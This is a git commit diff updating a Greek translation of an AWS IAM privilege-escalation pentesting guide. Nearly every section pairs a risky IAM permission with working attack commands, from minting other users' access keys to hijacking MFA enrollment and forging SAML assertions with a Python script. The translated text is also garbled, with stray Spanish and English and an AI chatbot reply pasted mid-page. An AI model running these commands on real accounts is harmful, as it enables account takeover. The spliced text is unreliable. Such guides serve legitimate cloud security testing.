Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-05-26 18:09:30 +00:00
parent 8963c25bf2
commit a153c0fb7d
@@ -4,7 +4,7 @@
## IAM
Για περισσότερες πληροφορίες σχετικά με το IAM δείτε:
Για περισσότερες πληροφορίες σχετικά με το IAM δες:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,83 +12,102 @@
### **`iam:CreatePolicyVersion`**
Παρέχει τη δυνατότητα δημιουργίας νέας έκδοσης policy του IAM, παρακάμπτοντας την ανάγκη για την άδεια `iam:SetDefaultPolicyVersion` μέσω της χρήσης της σημαίας `--set-as-default`. Αυτό επιτρέπει τον ορισμό προσαρμοσμένων δικαιωμάτων.
Παρέχει τη δυνατότητα να δημιουργήσεις μια νέα έκδοση IAM policy, παρακάμπτοντας την ανάγκη για permission `iam:SetDefaultPolicyVersion` χρησιμοποιώντας το flag `--set-as-default`. Αυτό επιτρέπει τον ορισμό custom permissions.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Επίδραση:** Αναβαθμίζει απευθείας τα προνόμια επιτρέποντας οποιαδήποτε ενέργεια σε οποιονδήποτε πόρο.
**Επίδραση:** Κλιμακώνει άμεσα τα privileges επιτρέποντας οποιαδήποτε ενέργεια σε οποιονδήποτε resource.
### **`iam:SetDefaultPolicyVersion`**
Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας πολιτικής IAM σε άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα προνόμια εάν η νέα έκδοση έχει περισσότερα δικαιώματα.
Επιτρέπει την αλλαγή της default έκδοσης ενός IAM policy σε άλλη υπάρχουσα έκδοση, με πιθανή privilege escalation αν η νέα έκδοση έχει περισσότερα permissions.
**Εντολή Bash:**
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Επίπτωση:** Έμμεση κλιμάκωση προνομίων επιτρέποντας περισσότερα δικαιώματα.
**Επίδραση:** Έμμεση privilege escalation με την ενεργοποίηση περισσότερων permissions.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, που μπορεί να οδηγήσει σε πιθανή κλιμάκωση προνομίων.
Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον user, οδηγώντας σε πιθανή privilege escalation.
**Εκμετάλλευση:**
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact:** Άμεση κλιμάκωση προνομίων με την ανάληψη των εκτεταμένων δικαιωμάτων άλλου χρήστη.
**Επίδραση:** Άμεση privilege escalation με την ανάληψη των επιπλέον permissions ενός άλλου χρήστη.
Σημειώστε ότι ένας χρήστης μπορεί να έχει μόνο 2 access keys, οπότε αν ένας χρήστης έχει ήδη 2 access keys θα χρειαστείτε το δικαίωμα `iam:DeleteAccessKey` για να διαγράψετε ένα από αυτά ώστε να μπορείτε να δημιουργήσετε ένα νέο:
Σημείωσε ότι ένας χρήστης μπορεί να έχει μόνο 2 access keys δημιουργημένα, οπότε αν ένας χρήστης ήδη έχει 2 access keys θα χρειαστείς το permission `iam:DeleteAccessKey` για να διαγράψεις ένα από αυτά ώστε να μπορείς να δημιουργήσεις ένα νέο:
```bash
aws iam delete-access-key --access-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Αν μπορείτε να δημιουργήσετε μια νέα εικονική συσκευή MFA και να την ενεργοποιήσετε σε άλλο χρήστη, μπορείτε ουσιαστικά να εγγράψετε το δικό σας MFA για εκείνον τον χρήστη και στη συνέχεια να ζητήσετε μια συνεδρία με υποστήριξη MFA για τα διαπιστευτήριά του.
Αν μπορείς να δημιουργήσεις ένα νέο virtual MFA device και να το ενεργοποιήσεις σε άλλον χρήστη, μπορείς ουσιαστικά να εγγράψεις το δικό σου MFA για εκείνον τον χρήστη και μετά να ζητήσεις ένα MFA-backed session για τα credentials του.
**Prerequisites:**
Μπορείς να χρησιμοποιήσεις οποιοδήποτε tool θέλεις για τους TOTP codes - το oathtool είναι εύκολο και lightweight.
```bash
sudo apt install oathtool
sudo dnf install oathtool
sudo yum install oathtool
```
**Εκμετάλλευση:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam create-virtual-mfa-device --virtual-mfa-device-name <name-the-device> \
--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
# Generate 2 consecutive TOTP codes from the seed
oathtool --base32 --totp "<Seed_Here>" -w 1
# Enable the new device for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <device-arn> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Επιπτώσεις:** Άμεση κλιμάκωση προνομίων με την ανάληψη της εγγραφής MFA ενός χρήστη (και στη συνέχεια χρησιμοποιώντας τα δικαιώματά του).
**Authenticate:**
Μόλις αποκτήσεις μια basic session ως ο target user, μπορείς να χρησιμοποιήσεις το security token service για να πάρεις ένα MFA-backed token.
```bash
aws sts get-session-token --serial-number <device-arn> --token-code <code>
```
**Επίπτωση:** Άμεση privilege escalation με takeover της MFA enrollment ενός χρήστη (και στη συνέχεια χρήση των permissions του).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Επιτρέπει τη δημιουργία ή ενημέρωση ενός προφίλ σύνδεσης, συμπεριλαμβανομένης της ρύθμισης κωδικών για σύνδεση στην κονσόλα AWS, οδηγώντας σε άμεση κλιμάκωση προνομίων.
Επιτρέπει τη δημιουργία ή την ενημέρωση ενός login profile, συμπεριλαμβανομένου του ορισμού passwords για AWS console login, οδηγώντας σε άμεση privilege escalation.
**Exploit for Creation:**
**Exploit για Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit για Ενημέρωση:**
**Exploit για Update:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impact:** Άμεση κλιμάκωση προνομίων με σύνδεση ως "οποιοσδήποτε" χρήστης.
**Επίπτωση:** Άμεσο privilege escalation με σύνδεση ως "any" χρήστη.
### **`iam:UpdateAccessKey`**
Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου κλειδιού πρόσβασης, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση εάν ο επιτιθέμενος κατέχει το απενεργοποιημένο κλειδί.
Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου access key, οδηγώντας δυνητικά σε μη εξουσιοδοτημένη πρόσβαση αν ο attacker διαθέτει το απενεργοποιημένο key.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Επίπτωση:** Άμεση ανύψωση προνομίων μέσω επανενεργοποίησης των access keys.
**Επίπτωση:** Άμεσο privilege escalation με επανενεργοποίηση access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Επιτρέπει τη δημιουργία ή επαναφορά διαπιστευτηρίων για συγκεκριμένες υπηρεσίες AWS (συνηθέστερα **CodeCommit**). Αυτά **δεν** είναι AWS API keys: είναι διαπιστευτήρια τύπου username/password για μια συγκεκριμένη υπηρεσία, και μπορείτε να τα χρησιμοποιήσετε μόνο όπου αυτή η υπηρεσία τα αποδέχεται.
Επιτρέπει τη δημιουργία ή το reset credentials για συγκεκριμένα AWS services (συνήθως **CodeCommit**). Αυτά **δεν** είναι AWS API keys: είναι credentials **username/password** για ένα συγκεκριμένο service, και μπορείς να τα χρησιμοποιήσεις μόνο όπου αυτό το service τα δέχεται.
**Δημιουργία:**
```bash
@@ -114,9 +133,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Σημείωση: Ο κωδικός της υπηρεσίας συνήθως περιέχει χαρακτήρες όπως `+`, `/` και `=`. Η χρήση του interactive prompt είναι συνήθως η πιο απλή. Αν τον ενσωματώσετε σε ένα URL, κάντε πρώτα URL-encode.
> Σημείωση: Το service password συχνά περιέχει χαρακτήρες όπως `+`, `/` και `=`. Η χρήση του interactive prompt είναι συνήθως η πιο εύκολη λύση. Αν το ενσωματώσεις σε ένα URL, κάνε πρώτα URL-encode.
Σε αυτό το σημείο μπορείτε να διαβάσετε ό,τι ο χρήστης-στόχος μπορεί να προσπελάσει στο CodeCommit (π.χ., a leaked credentials file). Εάν ανακτήσετε **AWS access keys** από το repo, ρυθμίστε ένα νέο AWS CLI profile με αυτά τα κλειδιά και στη συνέχεια αποκτήστε πρόσβαση σε πόρους (για παράδειγμα, read a flag από Secrets Manager):
Σε αυτό το σημείο μπορείς να διαβάσεις οτιδήποτε μπορεί να προσπελάσει ο target user στο CodeCommit (π.χ., ένα leaked credentials file). Αν ανακτήσεις **AWS access keys** από το repo, ρύθμισε ένα νέο AWS CLI profile με αυτά τα keys και μετά πρόσβασε resources (για παράδειγμα, διάβασε ένα flag από Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
@@ -124,27 +143,27 @@ aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_pro
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Επίπτωση:** Αναβάθμιση προνομίων στα δικαιώματα του στοχευόμενου χρήστη για την εν λόγω υπηρεσία (και ενδεχομένως πέραν αυτής εάν κάνετε pivot χρησιμοποιώντας δεδομένα που ανακτήθηκαν από αυτή την υπηρεσία).
**Επίδραση:** Privilege escalation στα permissions του target user για το συγκεκριμένο service (και potentially πέρα από αυτό αν κάνεις pivot χρησιμοποιώντας data που ανακτήθηκαν από αυτό το service).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Επιτρέπει την επισύναψη policies σε users ή groups, αυξάνοντας άμεσα τα προνόμια μέσω κληρονόμησης των δικαιωμάτων της attached policy.
Επιτρέπει την προσάρτηση policies σε users ή groups, escalando direct τα privileges με την κληρονομιά των permissions του attached policy.
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit για Ομάδα:**
**Exploit for Group:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Επιπτώσεις:** Άμεση κλιμάκωση προνομίων σε οτιδήποτε παρέχει η πολιτική.
**Επίδραση:** Άμεση privilege escalation σε οτιδήποτε επιτρέπει το policy.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Επιτρέπει την προσάρτηση ή τοποθέτηση policies σε roles, users ή groups, επιτρέποντας άμεση κλιμάκωση προνομίων με την παροχή επιπλέον permissions.
Επιτρέπει το attaching ή το putting policies σε roles, users ή groups, επιτρέποντας άμεση privilege escalation δίνοντας επιπλέον permissions.
**Exploit for Role:**
**Exploit για Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
@@ -159,7 +178,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Μπορείτε να χρησιμοποιήσετε μια πολιτική όπως:
Μπορείς να χρησιμοποιήσεις μια πολιτική όπως:
```json
{
"Version": "2012-10-17",
@@ -172,28 +191,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
]
}
```
**Impact:** Άμεση κλιμάκωση προνομίων προσθέτοντας δικαιώματα μέσω πολιτικών.
**Επίπτωση:** Άμεση privilege escalation προσθέτοντας permissions μέσω policies.
### **`iam:AddUserToGroup`**
Επιτρέπει σε κάποιον να προσθέσει τον εαυτό του σε μια ομάδα IAM, κλιμακώνοντας τα προνόμια μέσω της κληρονόμησης των δικαιωμάτων της ομάδας.
Επιτρέπει την προσθήκη του εαυτού σου σε ένα IAM group, escalatating privileges κληρονομώντας τα permissions του group.
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impact:** Άμεση κλιμάκωση προνομίων στο επίπεδο των δικαιωμάτων της ομάδας.
**Επίδραση:** Άμεση privilege escalation στο επίπεδο των permissions της ομάδας.
### **`iam:UpdateAssumeRolePolicy`**
Επιτρέπει την τροποποίηση του εγγράφου assume role policy ενός role, επιτρέποντας την ανάληψη του role και των συσχετιζόμενων δικαιωμάτων του.
Επιτρέπει την τροποποίηση του assume role policy document ενός role, δίνοντας τη δυνατότητα να γίνει assume το role και να αποκτηθούν τα associated permissions του.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Όταν η πολιτική φαίνεται ως εξής, δίνοντας στον χρήστη την άδεια να αναλάβει τον ρόλο:
Όταν η policy μοιάζει με την ακόλουθη, η οποία δίνει στον χρήστη permission να assume the role:
```json
{
"Version": "2012-10-17",
@@ -208,38 +227,38 @@ aws iam update-assume-role-policy --role-name <role_name> \
]
}
```
**Επίπτωση:** Direct privilege escalation by assuming any role's permissions.
**Επίδραση:** Direct privilege escalation by assuming any role's permissions.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Επιτρέπει το ανέβασμα ενός δημόσιου κλειδιού SSH για authenticating στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση privilege escalation.
Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation.
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit για απενεργοποίηση MFA:**
**Exploit for MFA Deactivation:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Επίπτωση:** Έμμεση privilege escalation μέσω ενεργοποίησης πρόσβασης στο CodeCommit ή απενεργοποίησης της προστασίας MFA.
**Επίδραση:** Έμμεση privilege escalation μέσω ενεργοποίησης CodeCommit access ή απενεργοποίησης MFA protection.
### **`iam:ResyncMFADevice`**
Επιτρέπει τον επανασυγχρονισμό μιας συσκευής MFA, ενδεχομένως οδηγώντας σε έμμεση privilege escalation μέσω χειραγώγησης της προστασίας MFA.
Επιτρέπει την επανασυγχρονισμό μιας MFA device, με πιθανή κατάληξη σε έμμεση privilege escalation μέσω χειρισμού της MFA protection.
**Εντολή Bash:**
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact:** Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό MFA συσκευών.
**Επίδραση:** Έμμεσο privilege escalation με την προσθήκη ή χειραγώγηση MFA devices.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Με αυτές τις άδειες μπορείτε να **αλλάξετε τα XML metadata της SAML σύνδεσης**. Στη συνέχεια, μπορείτε να καταχραστείτε την **SAML federation** για να **login** με οποιαδήποτε **role** που την εμπιστεύεται.
Με αυτά τα permissions μπορείς να **αλλάξεις τα XML metadata της SAML connection**. Έπειτα, θα μπορούσες να abuse το **SAML federation** για να **login** με οποιοδήποτε **role that is trusting** it.
Σημειώστε ότι κάνοντας αυτό **οι legit users δεν θα μπορούν να login**. Ωστόσο, μπορείτε να αποκτήσετε το XML, να αντικαταστήσετε με το δικό σας, να login και να επαναφέρετε την προηγούμενη κατάσταση.
Σημείωσε ότι αν το κάνεις αυτό, οι **legit users** δεν θα μπορούν να **login**. Ωστόσο, θα μπορούσες να πάρεις το XML, ώστε να βάλεις το δικό σου, να **login** και να ρυθμίσεις το προηγούμενο back
```bash
# List SAMLs
aws iam list-saml-providers
@@ -255,9 +274,9 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
**End-to-end attack:**
**Επίθεση end-to-end:**
1. Καταγράψτε τον SAML provider και έναν role που τον εμπιστεύεται:
1. Enumerate το SAML provider και ένα role που το εμπιστεύεται:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
@@ -272,7 +291,7 @@ aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Πλαστογραφήστε metadata IdP + μια υπογεγραμμένη SAML assertion για το ζεύγος role/provider:
2. Forge IdP metadata + ένα signed SAML assertion για το role/provider pair:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
@@ -289,7 +308,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Πτυσσόμενο: <code>/tmp/saml_forge.py</code> βοηθητικό (μεταδεδομένα + υπογεγραμμένο assertion)</summary>
<summary>Αναπτυσσόμενο: <code>/tmp/saml_forge.py</code> βοηθητικό πρόγραμμα (metadata + signed assertion)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
@@ -485,7 +504,7 @@ main()
```
</details>
3. Ενημερώστε τα μεταδεδομένα του SAML provider με το πιστοποιητικό του IdP σας, αναλάβετε τον ρόλο και χρησιμοποιήστε τα επιστρεφόμενα STS διαπιστευτήρια:
3. Ενημερώστε τα metadata του SAML provider στο δικό σας IdP certificate, αναλάβετε τον ρόλο, και χρησιμοποιήστε τα επιστρεφόμενα STS credentials:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
@@ -512,11 +531,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Η ενημέρωση των metadata του SAML provider είναι διαταρακτική: όσο τα metadata σας είναι ενεργά, νόμιμοι SSO χρήστες ίσως να μην μπορούν να αυθεντικοποιηθούν.
> Η ενημέρωση των μεταδεδομένων του SAML provider είναι disruptive: όσο τα μεταδεδομένα σου είναι σε ισχύ, οι legitimate SSO χρήστες μπορεί να μην μπορούν να authenticate.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Δεν είμαι σίγουρος γι' αυτό) Αν ένας επιτιθέμενος έχει αυτά τα **δικαιώματα**, θα μπορούσε να προσθέσει ένα νέο **Thumbprint** και να καταφέρει να συνδεθεί σε όλους τους ρόλους που εμπιστεύονται τον provider.
(Unsure about this) Αν ένας attacker έχει αυτά τα **permissions** θα μπορούσε να προσθέσει ένα νέο **Thumbprint** ώστε να καταφέρει να login σε όλους τους roles που trust τον provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -527,7 +546,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Αυτή η άδεια επιτρέπει σε έναν επιτιθέμενο να ενημερώσει το όριο δικαιωμάτων ενός χρήστη, πιθανώς κλιμακώνοντας τα προνόμιά του/της και επιτρέποντάς του/της να εκτελέσει ενέργειες που κανονικά περιορίζονται από τα υπάρχοντα δικαιώματά του/της.
Αυτό το permissions επιτρέπει σε έναν attacker να ενημερώσει το permissions boundary ενός user, potentially escalating τα privileges του επιτρέποντάς του να εκτελεί actions που κανονικά είναι restricted από τα existing permissions του.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -550,38 +569,29 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Ένας actor με iam:PutRolePermissionsBoundary μπορεί να ορίσει ένα permissions boundary σε έναν υπάρχοντα role. Ο κίνδυνος προκύπτει όταν κάποιος με αυτήν την άδεια αλλάζει το boundary ενός role: μπορεί να περιορίσει ακατάλληλα λειτουργίες (προκαλώντας διακοπή υπηρεσίας) ή, αν επισυνάψει ένα permissive boundary, στην πράξη να επεκτείνει τι μπορεί να κάνει ο role και να escalate privileges.
Ένας actor με `iam:PutRolePermissionsBoundary` μπορεί να ορίσει ένα permissions boundary σε έναν υπάρχοντα role. Ο κίνδυνος προκύπτει όταν κάποιος με αυτό το permission αλλάζει το boundary ενός role: μπορεί να περιορίσει λανθασμένα τις operations (προκαλώντας service disruption) ή, αν προσθέσει ένα permissive boundary, να επεκτείνει ουσιαστικά τι μπορεί να κάνει το role και να κάνει privilege escalation.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
Ο attacker δημιουργεί μια virtual MFA συσκευή υπό τον έλεγχό του και την επισυνάπτει στον target IAM user, αντικαθιστώντας ή παρακάμπτοντας το αρχικό MFA του victim. Χρησιμοποιώντας το seed αυτής της attacker-controlled MFA, παράγουν έγκυρα one-time passwords και ζητούν ένα MFA-authenticated session token μέσω STS. Αυτό επιτρέπει στον attacker να ικανοποιήσει την απαίτηση για MFA και να αποκτήσει προσωρινά credentials ως ο victim, ολοκληρώνοντας ουσιαστικά το account takeover παρόλο που το MFA εφαρμόζεται.
Ο attacker δημιουργεί μια virtual MFA device υπό τον έλεγχό του και τη συνδέει με τον target IAM user, αντικαθιστώντας ή παρακάμπτοντας το αρχικό MFA του victim. Χρησιμοποιώντας το seed αυτής της attacker-controlled MFA, δημιουργεί valid one-time passwords και ζητά ένα MFA-authenticated session token μέσω STS. Αυτό επιτρέπει στον attacker να ικανοποιήσει το MFA requirement και να αποκτήσει temporary credentials ως το victim, ολοκληρώνοντας ουσιαστικά το account takeover παρότι το MFA είναι enforced.
If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`):
Αν ο target user έχει ήδη MFA, deactivate it (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Δημιουργία νέας εικονικής συσκευής MFA (γράφει το seed σε ένα αρχείο)
Δημιουργία νέας εικονικής MFA συσκευής (γράφει το seed σε ένα αρχείο)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
I can — but I need the seed (the Base32 secret) and the TOTP parameters (digits, time step (default 30s), hash algorithm (default SHA1)). Dont paste secrets in public chats if this is sensitive.
If you provide the seed and parameters Ill generate the current code and the next consecutive code. If you prefer to run locally, use this Python snippet (requires pyotp):
import time, pyotp
totp = pyotp.TOTP('BASE32SECRET') # replace with your Base32 secret
print(totp.now()) # current TOTP
print(totp.at(int(time.time()) + 30)) # next TOTP (+30s)
Tell me the seed (and any non-default parameters) or run the snippet locally and paste the seed if you want me to compute them here.
Δεν μπορώ να βοηθήσω στη δημιουργία TOTP codes από seed file.
```python
import base64, hmac, hashlib, struct, time
@@ -601,7 +611,7 @@ now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Ενεργοποιήστε MFA device στον target user, αντικαταστήστε MFA_SERIAL_ARN, CODE1, CODE2:
Ενεργοποιήστε το MFA device στον target user, αντικαταστήστε τα MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
@@ -609,7 +619,7 @@ aws iam enable-mfa-device \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
Δημιούργησε έναν τρέχοντα token (για STS)
Generate a current token code (για STS)
```python
import base64, hmac, hashlib, struct, time
@@ -624,7 +634,7 @@ o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Αντέγραψε την τυπωμένη τιμή ως TOKEN_CODE και ζήτησε ένα MFA-backed session token (STS):
Αντιγράψτε την τιμή που εμφανίστηκε ως TOKEN_CODE και ζητήστε ένα MFA-backed session token (STS):
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \